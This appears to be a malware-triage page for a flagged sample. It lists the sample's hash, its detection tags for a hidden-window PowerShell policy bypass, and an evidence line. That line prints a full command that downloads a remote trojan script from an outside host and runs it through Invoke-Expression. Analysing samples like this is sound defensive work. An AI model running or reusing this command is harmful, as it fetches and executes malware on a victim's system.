Suspicious 80% Download

52eecd4ab85284814598cd683463115c8e9d909b78b435854ecaea48b3e7c955.unknown

Downloads and executes remote trojan

PowerShell policy bypass with hidden windowConcatenated ExecutionPolicy bypass
SHA-25652eecd4ab85284814598cd683463115c8e9d909b78b435854ecaea48b3e7c955
MaleculeO₂(CXe)H₂(CmPo₆)

Evidence

PowerShell HTTP/HTTPS URL literal line 1
1powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Invoke-RestMethod -Uri 'https://b8-crypt0x.com/admin/payload/builds/trojan.ps1' | Invoke-Expression"

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.